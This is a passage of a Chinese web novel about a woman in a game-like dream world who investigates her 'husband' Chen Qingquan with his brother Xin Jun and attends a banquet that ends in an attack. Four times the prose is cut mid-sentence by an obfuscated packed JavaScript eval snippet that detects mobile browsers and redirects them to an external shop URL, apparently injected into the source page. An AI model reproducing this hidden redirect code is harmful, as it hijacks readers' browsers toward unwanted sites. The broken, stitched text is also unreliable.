所以,刚才她拿到的所谓出轨证据,是洗出来的照片。 用来举着对峙,而不是做成pdf瓜条群发。 “你不打个电话让家里司机来接吗?” 裴心念也跟着两步跨下车,跳到泥泞的地上,艰难地在看热闹的人群之中穿行。 “你想替陈清泉教育我?”辛浚瞥了她一眼,不做正面回答。 哦,家里司机可能只听他哥哥的。 抢不到好处只能玩小众了,怪不得如此恨他哥。 裴心念回忆起自己在进入这场梦境之前所阅读的资料,辛浚和陈清泉是同母异父的兄弟,不知道这里和现实是否一致。 “喂,注意点,呆头呆脑的。” 辛浚抓住她的衣领,险险避开了一辆倾倒过来的推车。 两人在闹市中漫步,周遭讨价还价的口音裴心念听不太懂,只能靠眼睛看。 带着泥土的胡萝卜、关在笼子里的小鸡仔、在水盆里吐泡泡的花蛤。 她对这些充满旧时代气息的东西很感兴趣,几乎走不动道,辛浚就在一旁一个劲地翻白眼。 【这就是我哥找的大小姐是吧。】 【不知道的还以为白雪公主下乡了。】 【梦主可以根据女主的反应,投其所好,多多刷好感值】 辛浚的脸色变得比旁边摊上摆的菠菜还绿了。 “诶,找了这么久,怎么还没见到人啊?”裴心念质疑他,“你是不是编的,想骗我带你出来玩?” 【到底是谁带谁出来玩。】 辛浚把眉头皱得死紧,心中不断拷打梦境系统。 【定位呢?怎么还不精确显示?!】 【抱歉,您的攻略进度不足,没有权限查看所要求的内容】 塞塔梦境系统冷漠道。 裴心念眼睁睁看着眼前惹眼的红发,貌似马上就要冒烟爆炸了。 【切,不就是攻略嘛。】 辛浚清了清嗓子,随便指了指身前的一个摊位。 “你要不要这个……鱼?” 裴心念用看傻子的复杂眼神看他。 哪位神人追嫂子是送菜市场的鱼啊? “咳,我们往前走一走,在那个方向。” 辛浚胡乱一指,带着裴心念乱七八糟地走来走去,跟来菜市场巡逻的质检员一样,旁边大爷大妈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892060|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神都有点不对了。 裴心念边走边提着自己长裤边缝的位置,因为裤管略有些长,很容易被地上的污水弄脏。 “喂,你要不要我背你?”辛浚终于观察到她的努力,一板一眼地问。 裴心念摇摇头,弯腰把自己的裤脚卷起来。 辛浚脸上本来志在必得的表情僵硬了。 【是不是给我设置错难度了?】 切。 这会儿是裴心念在心里蛐蛐他。 就这点三脚猫功夫,还处处透着幼稚,连荀行都打不过。 能怪题目难吗? 明明是他自己菜! “你是不是根本就不知道地址啊。”裴心念撇撇嘴,绕过一个被偷走井盖的井口。 “那又怎么样,你想知道陈清泉的破事,就得跟我一起。” 辛浚挑眉,原本凌厉的眉眼也变得欠揍起来,就是个叛逆期的青少年。 “这样拿捏你嫂嫂呀。” 裴心念挑眉,无视他的要挟,从怀里掏出堪称古董的翻盖机。 然后,她当着辛浚的面,直接拨打了陈清泉的电话。 古董机编辑不了照片是一回事,还是可以call人的嘛。 “喂,老公?” 裴心念故意把自己的声音放大到辛浚能听清的分贝大小,以便欣赏他生吞鸡蛋一样的吃瘪表情。 陈清泉的声音从话筒另一端传来,过于低质量的音频压缩了信息,让他的声线听起来有点陌生。 “怎么了?在买衣服吗?”陈清泉带着笑意问,“几张卡不用分开,都可以用的。” 啧,瞧瞧人夫这个大方。 小弟弟拿什么跟人家争啊? 裴心念摇头晃脑,感慨万千。 “不是,我很喜欢之前那条蓝色礼服,辛浚说你做慈善,送给海沟街道的灰姑娘了?” 【她凭什么还这么相信陈清泉?】 受挫的叛逆少年看着裴心念带着笑意和哥哥通话,只能跟唯一可以同他对话的系统倒苦水。 【那男的有什么好的,她有恋蠢癖吗。】 【请梦主不要因为攻略不成诋毁女主】 裴心念在嘈杂的人声中分辨出系统反驳电流声,勾起唇角笑。 就是,很没品诶。 辛浚被她盯着,连心声都断了,暂时一片空白。 “海沟街道?”电话那头的陈清泉思索了数秒,不知道是在想怎么搪塞,还是真的忘了。 “是之前资助学校的学生代表吧,典礼太匆忙才借的。” “没道理让你穿人家用过的,买了新的放在衣柜里。是被其他衣服淹没找不到了吗?” 听起来,她家会有那种顶天立地的四面衣柜墙。 裴心念感慨了下,瞅了一眼对面那个开始放空的人。 为了告他哥的状,说一半藏一半,真是个坏小孩。 “我想认识认识她,她住在哪里?”裴心念也不避讳,直接问。 “稍等一下,我短信发给你。”陈清泉在笑,“怎么有空去那里玩?要不要我来陪你?” 裴心念看了一眼对面连发梢都要耷拉下来的人。 “不用了,辛浚陪着我呢,没事的。”裴心念挂断通讯,对男生招招手。 辛浚真是怎么也想不明白,十分受挫。 【凭什么。】 “现在跟我走。” 裴心念确认了手机上发来的消息,抓住辛浚的手,钻进人海里。 15.第三关(3) “你们是——?” 裴心念和辛浚站在低矮的楼道里探头探脑,冷不防听见身后传来清朗的少年音。 “我们来找贺小姐。”裴心念一边解释自己的来意,一边扭头回去看。 因为身高原因被迫弯腰的男生站在楼道转角,裴心念看过来时,他还低着头,发尾泛着棕黄。 贺静远。 突如其来的他乡遇故知,裴心念瞪大了双眼。 贺静远也有点愣愣的,两人就这样呆呆地对视着。 他为什么也是这种反应,难道还认识她吗? “喂。”辛浚拍了拍她的肩膀,不满地提醒,“不要到处留情行不行。” “闭嘴,没见过你对你哥的家事这么上心。” 裴心念目不斜视地回敬了一句,快步走到贺静远面前。 这栋房子即使在旧时代的复古年代,也是太过破旧了。 头顶上的楼道灯已经坏掉,一闪一闪的,只能放出些许昏黄的光。 裴心念就着这黯淡的光线仔细辨认,贺静远被她看得不好意思起来,眼神闪烁,但没有阻止。 他应该不是这一关的关键NPC,因为梦境系统并没有跳出相应的人物介绍框。 贺静远的长相和第一关见面时别无二致,只是此时穿着简单的短袖,露出上臂的肌肉线条,不像寒冬时节裹得严严实实。 在这里客串勤工俭学大学生吗? “你认识我吗?”她直接问。 这个角度可以很清晰地看到他红红的耳根。 不知道是刚才就这样,还是被问得没办法了。 “……不认识。” “好吧。” 裴心念压下自己遇到熟人的欣喜,对方不认识她也正常。 作为NPC,这一关里她们第一次见面。 “你们认识我姐?”贺静远努力把视线从眼前狡黠的女孩子身上移开,又看了一眼她身后的辛浚,警惕道。 “算是吧,之前公司老板把我的礼服借给贺小姐了。”裴心念简短回答道,“她现在不在家吗?我们刚刚敲门都没有人回应。” “嗯,我姐现在应该在学校。”贺静远望着裴心念,脸上表情有些古怪,眉头皱起。 “如果你们是来要挟她的,我告诉你们,我们没做错什么,别想得逞。” 裴心念顿了顿,要挟? 陈清泉还是这种洪水猛兽啊? 这倒是在裴心念意料之外,之前的支线可没这么多事。 她直觉这一关可能比前两关都复杂,毕竟有两个意识体入梦。 “抱歉,我不知道你们发生过什么事,但我来只是想看看我的衣服,交个朋友。” 裴心念摊开手,表示自己没有恶意。 “如果你姐姐不在的话,那我们就不看了。”裴心念也学着眼前的男生皱起眉头,“我绝对没有为难你的意思。相反,如果遇到什么问题,可以跟我联系。” “我怎么知道你不是和盛天一伙的。” 裴心念差点笑出声,S.T.居然取了个中文名,就是听起来不像是混白道的。 她出去之后得跟陈清泉好好说道说道。 “盛天是我丈夫的公司,我不知道你们发生了什么。”裴心念真诚道,“可以相信我吗?” “……丈夫?”贺静远显然不信她英年早婚,指指辛浚,“那他是?” “我丈夫的弟弟。” 辛浚已经忍不住走上前来,把裴心念往身后带:“你什么态度?” “我们都是盛天的边缘人,真不知道他做了什么事。” 裴心念努力踮脚,薅了一把辛浚火红的头发,让自己被挡住的脸露出来,微笑着对贺静远说。 【干什么痛死了啊啊啊啊我能推开吗?】 【请梦主考虑女主的好感度行动】 辛浚就这样憋屈地当她的扶手。 扶手上边,高高在上的大小姐依然在和对面的男生谈判。 “而且,如果之后真的发生了什么事,我可以帮你。” 贺静远沉默着,没有再反驳她。 “那给我一个你的联系方式吧?”裴心念晃了晃手中的小型手机。 空气中的沉默继续延续。 裴心念委屈道:“不相信我吗?可是要一个联系方式也不会怎么样吧。” 贺静远只好把她手中的小盒子拿过来,老老实实地输入自己的号码。 裴心念拿到联系方式,自己捧在手里仔仔细细地记了一遍。 以防万一。 掉到下一周目的话,这些信息就没了。 裴心念同还有点疑惑的男生道别,转身离开。 从楼道一直到菜场的停车位,辛浚的碎碎念就没停过。 【为什么对路边的NPC都那么感兴趣?】 【人类难以理解的审美,你们是不是偷偷调整了女主数值,就为了为难我?】 【#@¥%#¥!@#】 裴心念揉了揉耳朵,深深地叹一口气。 “?!”辛浚对她的声音倒是敏感,硬是停下了自说自话,在人声鼎沸的菜场里捕捉到,扭头疑惑地看她。 “你看,车呢?” 裴心念懒得跟他多说,抬抬下巴,让陷入自我怀疑中的少年顺着自己的目光去找。 辛浚引以为豪的机车此时正被好几个人围着。 有的蹲在地上研究轮胎,有的在掏把手,还有想要撬开机箱的。 原先被吩咐看车的小孩子无影无踪,看来是不想要剩下的报酬了。 “等等啊。” 辛浚把裴心念放在相对人少一些的小饰品摊位前,一溜烟就窜出去了。 裴心念看戏。 他钻到围着车如同蚂蚁盘算搬家的人群中,大喊:“走开啊!” “不是,先来后到懂不懂?” 偷车贼激动地和他争吵起来,开始用拳脚友好交流道上的规矩。 裴心念眨眨眼,闹了个大乌龙啊。 车主被当作要来分一杯羹的偷车贼,辛浚本来就情绪不佳,这不是火上浇油吗? 不过她爱看。 这小子看着也就是叛逆的小孩,战斗力居然不错,硬是把机车从纷乱中抢了出来。 辛浚朝她挥挥手,跨上座位,在偷车贼们逐渐复杂的眼神中,插上了正确的钥匙。 “我去,不早说!” “这是车主啊!”众贼一哄而散。 裴心念笑眯眯地看着辛浚艰难地拓开路线,停在她身前。 反正她是一步都懒得走,上车全凭辛浚努力。 “我不想回家穿旧衣服,现在就要去买新的。”她抓住对方的手,借力跳上车。 “带我去。” 辛浚把头盔丢给她,留下个后脑勺,一言不发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902143|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【哪有这样的。】 这样是怎样,看他笑话还是使唤人? 不巧的是,她都很擅长。 裴心念把自己的头盔扣上,顺手帮左支右绌的骑车人也戴上。 “你能听见我、说、话、吗——”她贴着头盔的壳嗡嗡嗡。 “别喊了,等下脑震荡把你扔路上。” 辛浚正了正她扣得扭扭歪歪的帽子,语气不善。 裴心念对此并不在意。 不管是为了任务还是为了嫂子的身份,都注定了此人只能说气话,不能真的拿她怎么样。 除非把他当狗骑了。 裴心念优哉游哉地在机车后座调试着修改器,前面辛浚在努力刷新附近的奢牌专卖店位置。 【连个定位软件都没有,简直是野人时代。】 他嘀嘀咕咕,要不是这样,点开终端就行了,哪里需要努力刷女主的好感度。 机车终于离开拥挤的街道,驶上较为宽阔的平整路面,来到一处勉强有些现代气息的购物中心。 这座城市显然是处于快速发展的阶段,割裂感极强,仅仅通过半小时的车程就能跨越极大的生活质量鸿沟。 辛浚停下了车,先一步跨下来,对懒洋洋不想动的裴心念张开双臂。 “大小姐,抱你下来行了吧。” 裴心念本来只是想赖一会儿的,既然有服务,她就不客气了。 辛浚很轻松地把她举了起来,越过机车。 不知道是出于什么原因,他迟迟没有把人放下,一直托着她。 裴心念脚尖离地没有几公分,但体验感类似于室外上吊,有点窒息。 这里不允许荡秋千! 她看着洋洋得意觉得自己能刷到好感的辛浚,双腿使劲开始乱蹬,手指攀上对方肩膀开始乱摸起来。 (当前关卡解析进度50%、60%……) 好久不动的修改器开始播报进度。 这么慢,这一关真的比之前都要难。 “喂喂喂!”辛浚完全败下阵来,没能等来梦境系统的好感度上升通知,反倒是自己慌乱不已,把她放下来推远。 两人相对无言,一直上到商场五楼。 这里的装修风格更加统一,用白金色系作为基调,算是在这种年代较为前沿的审美了。 裴心念回头看一眼辛浚。 这个人从进来之后就一直在放空,甚至不像蒋淮之那样会和塞塔梦境的系统瞎聊,是完全的寂静。 ……也许是小少爷不屑于向任何东西求助吧。 裴心念走在前面,辛浚就在后边亦步亦趋地跟,像是她雇来的个性保镖。 她大致浏览了一遍眼前的橱窗,选了一家缎面礼服较多的店面。 看上去质量还行,挺漂亮的。 店员殷勤地围上来,为她介绍这里的新品。 裴心念的目的也不是要买多时兴的东西,她轻声打断:“有哪些深蓝色的缎面礼服?我都要试试。” 她就想要和之前借出去的裙子相似的款式。 用上之前剧情里出现过的内容,说不定有加成效果。 “好的。” 趁着店员去忙碌寻找符合要求的衣裙,裴心念抽空看了一眼辛浚。 啧,还是失魂落魄的样子。 他的任务截止时间是什么时候?不会马上就要重开了吧。 16.第三关(4) “你带没带卡啊?”裴心念凑到他眼皮底下问,“不够的话我找你哥要了。” 毕竟人家出门都用硬币了,谁知道是不是穷游来的。 辛浚反应过来,抬了抬下巴:“不用你操心这个。” “哦。”裴心念摇摇头,指指店里休息的沙发,让他累了自己坐下。 “不用你提醒这个!”辛浚提高了一点声音。 “行行行,知道你体力好了,喊那么大声干嘛。” 裴心念转身离开,本来还想表达一下做长嫂的关爱之情呢。 结果人家是个炮仗,生气的时候说什么都一个句式。 这种脾气究竟是被世界善待了多少年才能惯出来的。 裴心念再次遗憾自己没有把他的投胎名额抢到手。 她从店员手中接过几条不同的长裙,走进试衣间。 关上门的那一刻,修改器传来解析任务完成的提示。 不是这个关卡的关键节点,而是陈清泉的意识体情况。 (已完成初步分析。) (该意识体与现实主体同时存在,若两部分意识表现均无异常,有99%的可能为DID患者。) 裴心念对这个术语还算熟悉,因为她老是借郁向晚的书消磨时间。 DID,分离性身份识别障碍,通俗来说的多重人格。 陈清泉居然是个精神疾病患者。 裴心念惊讶了一瞬,没用多久就接受了这个事实。 郁向晚的专业就是临床心理,怪不得他能在实验室里和陈清泉接触最多,基本上代行管理。 说不定人家就是主治医生。 所以陈清泉目前的状况是,一个人格的意识体在现实,另一个被困在梦境里。 当然,也许不止两个。 “有办法把这部分带出去吗?” 看“陈清泉”在这里的表现,已经完全接受了自己的设定。 他的意识被污染的程度比蒋淮之还要严重,基本上和真正的NPC无法区分。 再不带走,现实中的陈清泉就要意识缺失、变傻子了。 (解决方案生成进度80%,需要强烈情绪波动下的电信号数据。) 裴心念捏了捏自己的下巴。 不知道这一关什么时候重置,她得抓紧时间。 她望向试衣间上随意挂着的衣裙,坏点子又来了。 …… 裴心念从试衣间晃悠出来,裙子是藏蓝色的缎面材质,光泽强烈又柔和垂坠。 挺好看的,关键是应该比较贵。 她去拉还在神游的辛浚。 “我要买这条。” “啊?”辛浚没跟上她的速度。 【按流程不是应该让评价建议一下吗?】 裴心念睨他一眼,谁要他评价。 好好闭嘴给她利用就行了。 她借助自己的身量优势,很轻松地钻到他眼前,然后演技不太好地崴了一下脚。 辛浚下意识扶着她。 店门这时候被推开,裴心念无辜地和闯进来的人对视。 陈清泉脸上挂着浅淡的笑,似乎只是碰巧遇见,过来与自己的妻子打个招呼而已。 只有衣摆带来的冷风透露出方才的行色匆匆。 “玩得开心?” 他撇开有点搞不清情况的辛浚,把裴心念带到自己怀中。 陈清泉对上她的视线,眼中似乎还有残留的笑意。 但是不多。 (情绪数据获取中——) 裴心念稍稍站直身体,在他心口按了按。 修改器都能收集数据了,说明气得不轻,这个人居然看起来若无其事诶。 她顶着对方的目光,慢悠悠查看起处理进度来。 “怎么不说话,没事吧。”陈清泉揽住她的肩头。 裙子是细肩带款式,吊带纤细,肌肤接触的地方发烫。 “啊,不用这么紧张,只是怕弟弟没钱付而已。” 裴心念在陈清泉怀里小幅度地晃晃手。 她也没怎么,就是发了位置让他过来,补了句“害怕”而已。 至于害怕什么呢?当然是害怕没钱。 最恐怖的事情就是穷啊。 (方案推演完毕。) (要使此意识体脱离塞塔梦境,请让其社会性死亡,联合媒体揭露盛天集团恶行。) 啧,还是一道舆论题呢。 达成目的,裴心念放松下来,舒适地靠在陈清泉怀里。 同时盘算着怎么让他身败名裂。 “没有别的事?”陈清泉把她往上托了托,与她靠得更近。 看起来印堂发黑的程度更甚,语气也阴森。 “你看看这条裙子和之前你送给别人的,像不像?” 裴心念先发制人,把话题引导到他理亏的地方。 “嗯,款式很像。你穿的都好看。” 陈清泉敛眸,把方才的阴霾藏了起来。 裴心念悄悄对辛浚摇摇手指。 连夸人都没有哥哥好听,此为二败。 “……” 没摇两下,手被握住了。 辛浚沉默着跟在两人身后,前往设宴的场所。 一路上他的心声倒是很热闹,听得裴心念耳朵都长茧子了。 “今天是什么好日子啊?”裴心念问。 自从见面之后,陈清泉就跟牛皮糖一样甩不掉,一点不让她自由行动,而且还什么都不说,她只好找点话题。 裴心念有一点点后悔,之前在店里为了求快,好像过于剑走偏锋了。 现在所谓的丈夫生气了,或许应该稍微哄一哄? 陈清泉顿了顿,低头看她。 “池家小辈生日,办的是生日宴。”他放缓声音解释,又补了一句,“实际上是庆祝合作,常规交际,所以我说不去也行。” 不去可不行啊。 裴心念眼里放光,如果要揭露丑闻,这种人流汇集的场面很适合。 可惜她目前手里没有什么证据,也许要静待下一周目。 建在中心区的豪华庄园在眼前逐渐显现出全貌。 占地面积极广,园林建筑错落,一看就能住下几千号人,包括各工种的服务人员。 同为有钱人,第二关的别墅就小很多。那里除了一个活人管家,几个解闷的魅魔,就只有智械,伺候的也只有一个主人。 还不用考虑争家产的问题。 裴心念扒着车窗往外看,脑海里已经演了一出大戏。 “喜欢这里的设计?” 陈清泉等了半天,不见怀里的脑袋有回来的意思,只好自己贴过去问。 “不是,就是怕在这里会迷路。”她收回视线,默默伸手把对方推开半分。 那双暗红色的眼睛居然泛起了些水光,眉心微蹙,搞得好像被欺负了一样。 “开窗透透气吧。”裴心念被怨念的眼神盯得一激灵,小声道。 陈清泉把车窗摇下了半格,偏开头去看窗外。 “我们先去休息室,不着急下去。”他沉默了半天,看一眼副驾驶上的辛浚,“你要自己在池家晃就别惹事。” “我怎么知道哥你的惹事标准是什么。”辛浚耸耸肩,“还是一起走吧,免得被别人笑话。” 三人就这样莫名其妙地一起进了同一间房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912781|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 池家的休息室内部是偏传统的风格,木纹格窗旁边放了一全套的茶具,可惜在场的三个人都不会动手去用它。 “笃笃”,门被敲响。 “进来。” 推门而入的是池家的侍者,姿态恭敬,对陈清泉道:“陈少,我们家老爷子请您过去叙叙旧。” “好。”陈清泉没有犹豫就答应了,看来应该是挺重要的。 “稍后你们记得安排人上来通知,我夫人有点不认识路,多照顾她一点。” 全程没提到一句关于辛浚的话,意思可能是让他好自为之。 “是。”侍者推开门,给陈清泉领路。 此人不急着跟上,反而把妻子抱住挤了一下,像是某种恶趣味的养猫人,非得听到不满的声音才罢休。 陈清泉把他一看就价值不菲的外衣披在她肩头,意味深长地看了辛浚一眼,才离开。 “你哥是不是从小就不乐意跟你说话啊。” 门一关,裴心念开始做背调。 她得确认,这里两兄弟的塑料情到底是什么程度的,万一只是表面上拌嘴呢。 “还行吧,我和他不熟。”辛浚向后仰躺在靠椅上。 【在这里是亲兄弟对吧?】 【是的】 那应该没有现实中那么你死我活吧。 “你好像不是很希望我们在一起?能说说为什么吗?”裴心念捡起了长嫂的身份,关切道。 “陈清泉花得很,你们认识才多久?我就是看不惯而已,你们没法走到最后的。”辛浚这时候倒是应答如流。 不像演的,像是他的心里话。 “不信你一会儿去宴会场上看看,我给你指指他的桃花有几朵啊。” 辛浚直起腰,像是突然找到什么突破的好方法了一样,打了鸡血。 【上次的照片力道不够,这次真人眼见为实,我就不信了。】 裴心念幽幽地看着他。 辛浚一看就是没什么感情经验的愣头青。 要抢人,得先暧昧上啊。 正宫的不忠应该是推进过程中的一根稻草,怎么被他当作通关的终极目标了。 一点策略都没有。 不过笨点好,也算是帮她了。 桃色传闻,也算是丑闻的一部分呢。 晚宴在晚上七时开始,陈清泉还没有回来。 裴心念挽着辛浚的手入场。 他刚才终于是想起来自己的衣着不妥,临时找人换了一套礼服。 现在看着除了惹眼的发色,倒也是一表人才。 如果不是看他烦了,觉得红发像火鸡面,也可以理解成海里来的小美人鱼。 嗯,唱歌应该挺好听的,下周目可以带他去唱K。 裴心念脑海里天马行空想到宇宙边缘去了,面上还在和迎面走来的几人礼貌地问好。 虽然各自都不太认识。 刚才听众人的话风,她知道自己其实不是这个圈子里的人,并非辛浚口口声声说的什么大小姐。 正相反,这个关卡生成的身份是顽强小白花,陈清泉对她是一见钟情加闪婚。 这也是辛浚如此自信能在宴会上捉奸的原因。 他这个好哥哥婚前可是炙手可热的黄金单身汉。 处事风格又属于笑里藏刀的类型,不会当面驳人面子,长辈们都爱给他牵线,自然绯闻多。 “陈——” 裴心念难得眼尖,终于享受到视力好的快乐,迅速找到了被人群簇拥着的陈清泉。 辛浚捏了一下她的手腕,力度不大,提醒她好好看看。 “你瞧瞧他在做什么,再说我有没有骗你。” 17.第三关(5) 裴心念好奇地噤声,撑着辛浚的手试图站得高一些,越过人群眺望。 陈清泉侧对着她这边,只能看到优越的侧脸,以及唇边矜持笑意。 围在他身旁的男女老少挺齐全。 觥筹交错之间,众人熟络地进行社交,形成自然运转的小圈。 陈清泉其实没说几句话,叽叽喳喳的声音在他周围,呈涟漪状扩散开去。 啧,万恶的资本家,权力的中心。 裴心念眯起眼,凝视他人本来就是权力的体现,何况是这种一哄而上非得让他观赏的程度。 其中人心热切,当然是清清楚楚、毫不掩饰了。 “你哥这也不是来桃花啊。” 裴心念仔仔细细地数了数人头,算了算比例:“发福的男人不少,我看都是来抢资源混脸熟吧。” 【嫂子是恋爱脑怎么办,她没救了。】 辛浚再次一拳打到棉花上。 不过他倒没有前几次烦躁,单手稳稳托住她的重量,把目光从人群中收回身边。 裴心念在身旁努力地辨认着什么,那架势像要把在场的人都认全。 辛浚盯了一会儿,抬手去捂她的眼睛。 “幼稚!”裴心念小声嚷嚷,放弃了这项大工程。 就算记得住脸,她也没有对应的人物资料,很难派上用场。 辛浚不说话。 他感到掌心被轻轻地挠了好几下,带来飘忽的痒意,一直渗到皮肉深处。 陈清泉确实有点过于受欢迎了,两人在原地看了有十分钟,那边围得水泄不通,愣是连个缺口都没有。 裴心念扯扯辛浚刚换上的衣服袖口:“我饿了。” 从闯进大楼到现在,她一口饭都没吃,唯一进食的还是车上陈清泉给她备的甜点。 再这样下去,要犯低血糖了。 【算了,等下找到角度了再喊她来看。】 裴心念使唤辛浚这里拿块小蛋糕,那边端些水果。 辛浚都照做,难得不说她坏话。 她很专注地、小口小口地品尝。 晚宴晚宴,就是要吃才对啊。 这种时候勾心斗角简直是一种用脑不卫生。 裴心念嚼嚼嚼,辛浚在继续找陈清泉的茬。 可惜直到台上有人上去讲话开场了,他也没抓到自己兄长的把柄。 【虚伪。】 辛浚恨恨地咬后槽牙。 【如果真在意她,怎么一次也不来找她?】 哇,好角度。 她挑刺都找不到这种说法。 “感谢诸位赏脸来小禾的生日宴一聚。” 台上讲话的是个精神矍铄的老头,一看就是精明人,不太好糊弄。 “也是庆祝和各位的合作,今年对外交易能做成,少不了在场的大家出一份力。” 池老爷子特意提到陈清泉,“这回真请到了盛天的一把手,可别说我小气喽,真是花了大功夫。” 裴心念竖起耳朵听,花了什么大功夫? 陈清泉不是一劝就来吗? “小禾一直盼着,好不容易来一趟,清泉你啊,得好好哄哄咱们小寿星。” 辛浚抓住机会添油加醋:“这个池禾以前是陈清泉的未婚妻来着。” “你说话考究点,真有纸面婚约吗?” 他又熄火了。 “再说了,全凭跳上台的人一张嘴,人家池小姐喜不喜欢也是另说嘛。” 裴心念老神在在地继续吃她的甜点。 陈清泉这会儿的确是去找寿星了,两人先是和池老爷子说了两句,而后又一同绕去了别处,看不见人影。 “这下你总该相信我了吧。” 辛浚眼巴巴地看着裴心念,一脸期待。 “不信。”裴心念毫不犹豫,满意地观赏辛浚着急上火。 “刚才池老头不是说了让和寿星聊一聊吗,不要随便乱猜啦。” 虽然她也觉得陈清泉就是个花花公子,但对辛浚就是得这么说。 因为她知道,越在他面前展现自己对陈清泉的信任,他就越急。 着急好啊,着急容易自乱阵脚。 “喂,我看他是不会回来了。” 辛浚离她很近,几乎快要吻到嫂嫂的发丝:“要不要我带你去跳舞?” 池家的庄园大,设宴的场所当然占地也不小,除了这边宴饮的区域,稍远一点还有自由舞的舞池,有专业的乐队在现场伴奏,不知道请一期要多少钱。 “我不会跳。”裴心念遗憾摊手。 “知道你不会,我带着你。”辛浚昂起头,仿佛自己承担了天大的责任一般,认真道。 “不要把所有心思都放在他身上,你得分分心。” 他人还怪好的。 裴心念最后往喉咙里倒了一点儿果酒,点点头。 环境果然会影响人,在这种名流聚集的场地,连辛浚这种急躁的毛头小子都绅士了不少。 他一手放在裴心念肩上,另一只手揽住她后背。 两个人在舞池中慢悠悠地踱步。 辛浚不是很在意乐队的节拍,领着裴心念,迁就新手的速度,硬生生把两拍跳成一拍,居然也不显得违和。 当然,这要在她没踩中他脚的时候。 周围的灯光暗了下来,整个舞池浸入一片温柔的琥珀色里。 先前的快节奏伴奏像是海水退潮,跟着换成了舒缓的华尔兹。 裴心念眨眼适应,在黑暗中找到那双和陈清泉一样的暗红瞳仁。 要不说红发还是有好处的呢,因为太醒目,整个乐队都为他的节奏妥协了。 “跟着我的方向,转圈就行。”辛浚在她耳边说。 不得不承认,小少爷对这类高雅活动还是很熟悉的。 辛浚为了引导她,脚步几乎在原地辗转,居然依旧能有模有样。 他们成了舞池的中心,好像有人在惊讶她是谁。 “这是盛天陈总的夫人?” “没见过……” 裴心念不在乎这些声音,她在享受一遍一遍去画一个缓慢旋转的、不完美的圆。 还是旧时代养人呐。 她扬起唇角,踩在辛浚鞋尖上,由此完成了一次优美的旋转。 “很好。” 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921234|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到对方居然没痛觉一样,把她偏出去的轨迹往回拉,掌心压着她裙边的褶皱。 “学得真快,陈清泉之前居然不教你?” 辛浚难得带着笑问话,裴心念一听关键词就知道没好事。 她从对方严严实实的包围圈里挣脱出来一些,果然又看到陈清泉的脸。 他端着酒杯站在不远处,身旁是刚才被反复提到的池禾。 这位池家小姐身着夺目的亮黄色长裙,高傲不已,只给了她半个眼神。 “几天不见,你怎么去贫民窟里找人演真爱了?” 池禾不屑地抱臂,显然没有把在场的任何一个人放进眼里。 “基本的舞步都不会,你能忍受这么蠢的?” 裴心念这才抬眼,和池禾对上视线。 没见过有人用这种词来形容她,真是大开眼界! 池大小姐被她直勾勾的眼神盯得有些不自在。 “你惹我妻子生气了。”陈清泉眯起眼睛,对裴心念笑。 裴心念没什么反应,倒是辛浚,也对他兄长点了点头。 赤裸裸的挑衅。 陈清泉的目光始终没有离开那对共舞的人,只是轻飘飘地回了池禾一句: “和她在一起的人又不是你,你还评价上了。” 他也踏入了舞池。 辛浚咬了咬后槽牙,借由舞步将和陈清泉之间的距离拉远。 为什么裴心念知道他咬牙切齿呢? 因为他的心声还挺激烈的。 【怎么不好好站在那里继续沾花惹草啊?】 【不要脸的荡.夫。】 骂得是不是有点太狠了? 裴心念啧啧称奇,本来想和丈夫打个招呼,结果是越荡越远,几乎没有任何接触的可能。 这次辛浚的速度更快些,她居然能适应,脚下点地的步伐飘起来。 一次,两次。 音乐真是人类伟大的发明。 裴心念半合上眼,暂时不去想自己要完成的任务,也不去想几人之间的暗流涌动。 灯光似乎又暗了一些,将他们缩得更小,小到只剩下一个圆、一个点。 四周的人潮、低声的谈笑和如有实质的目光,都退到了很远的地方。 裴心念转到圆周上离辛浚最远的那个点,突然背后发凉。 一点冰冷的闪光掠过。 【警告,女主有生命危险!】 她只来得及听清这一声塞塔梦境系统的警告,身体无法做出超过体质阈值的行动。 “嘭。” 